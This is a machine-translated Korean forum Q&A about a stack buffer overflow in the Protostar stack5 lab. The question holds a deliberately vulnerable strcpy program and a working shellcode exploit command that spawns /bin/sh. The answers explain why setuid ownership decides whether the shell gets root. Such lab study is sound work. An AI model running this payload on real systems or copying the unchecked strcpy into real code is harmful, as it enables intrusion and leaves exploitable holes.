다음 코드를 활용하려고 합니다.
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
다음 명령을 사용하십시오
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
첫 번째 부분은 NOP이고 두 번째 부분은 내가 얻은 쉘 코드입니다.이 웹사이트, 이어야 합니다 execve("/bin/sh")
. 마지막 부분은 반품 주소입니다. 내 프로그램은 모든 보호 메커니즘이 비활성화된 32비트 시스템용으로 컴파일되었습니다. 스크립트를 실행하면 다음과 같은 결과가 나타납니다.
process 15377 is executing new program: /usr/bin/bash
bash
루트가 아닌 현재 사용자로 실행한다는 의미입니다 . 쉘을 루트로 실행하기 위한 쉘 코드는 어디에서 찾을 수 있습니까? 이런 일이 발생하지 않도록 하려면 Linux 기능을 비활성화해야 합니까?
실행하면 whoami
루트 대신 현재 사용자를 얻습니다. 이것에“첫 번째 공격! 쉘코드 버퍼 오버플로 – bin 0x0E” 비디오동일한 스크립트를 사용하고 루트 액세스 권한을 부여합니다.
답변1
스크립트를 실행하면 새 프로그램 /usr/bin/bash를 실행하는 프로세스 15377이 표시됩니다. 이는 bash가 루트가 아닌 현재 사용자로 실행되고 있음을 의미합니다.
예, 이것이 "사용자" 아이디어가 작동하는 방식입니다. 즉, 프로그램을 실행하면 현재 사용자로 실행됩니다.
한 가지는 setuid
실행 파일에 파일 속성을 부여하여 현재 사용자 대신 항상 파일 소유자(아마도 루트)로 실행되도록 할 수 있다는 것입니다. 논리적인 이유로 이미 루트인 경우에만 이 비트를 파일에 추가할 수 있습니다.아니요루트가 될 필요는 없습니다. 예를 들어, bash 실행 파일의 복사본에 setuid 비트를 할당하여 언제든지 권한을 높일 수 있습니다.
이런 일이 발생하지 않도록 하려면 Linux 기능을 비활성화해야 합니까?
이는 특정 기능이 아니라 1970년대 UNIX 이후 "사용자" 개념을 문자 그대로 의미한 것입니다.
id
그 사람의 출력에서 그룹은 루트이지만 유효 그룹은 루트가 아님을 알 수 있습니다 . 따라서 취약한 파일은 이미 setuid/setgid 비트가 설정된 상태로 실행되고 있습니다! 파일의 속성( )을 확인 하면 어떤 비트가 설정되어 있는지 ls -l /…/stack-five
확인할 수 있습니다 .s
따라서 어떤 프로세스의 권한도 상승할 수 없습니다. 처음부터 존재했지만 이제는 프로세스를 악용하여 이를 악용할 수 있습니다.
답변2
아니요, 직접 로그인하여 작업을 수행하고 루트 셸(상승된 권한)을 얻을 수는 없습니다. (커널에서 취약점을 발견하지 않는 한) 당신은 (이론적으로)할 수 있는 그것이 하는 일은 이미 루트로 실행 중인 프로세스를 공격하는 것뿐입니다. 그래서 당신은가능한vuln
프로그램을 루트에서 실행하거나 sudo
루트로 전환하고 setUID 비트를 켜면 루트 쉘을 얻을 수 있습니다. 이는 부정행위처럼 보일 수 있지만 취약한 시스템 프로그램에 대한 공격을 시뮬레이션하고 있습니다.
위 사진에서는 잘 안보이지만처음 사용해요! 쉘코드 버퍼 오버플로 – bin 0x0E연결한 비디오이지만 작동하는 유일한 방법(결과를 표시할 수 있는 유일한 방법)은 Marcus Müller가 말했듯이 프로그램이 /opt/protostar/bin/stack5
UID를 루트로 설정하는 것입니다. 다음과 같은 문구를 찾을 수 있었습니다.
그러나 stack5 바이너리는 루트 사용자가 소유하고 setuid 비트가 설정되어 있지만 루트 쉘은 아닙니다.
존재하다익스플로잇 연습 – Protostar – Stack5 / 첫 번째 익스플로잇 소리 없는 실패 속에서.
문제가 있습니다. 루트로 쉘을 실행하면 루트 쉘이 제공되지 않을 수 있습니다. 나는 당신이 이것을 연구하도록 초대하고 격려합니다. "스크립트 키디"가 되고 싶지 않다면, 자료를 조사하는 방법을 배워야 합니다. 하지만 여기에 여러분을 위한 탐색경로가 있습니다. .it /bin/id
대신 직접 실행 되도록 "쉘 코드"를 변경해 보십시오./bin/sh
가능한루트 쉘을 얻을 수 없더라도 루트 권한을 얻었음을 나타냅니다.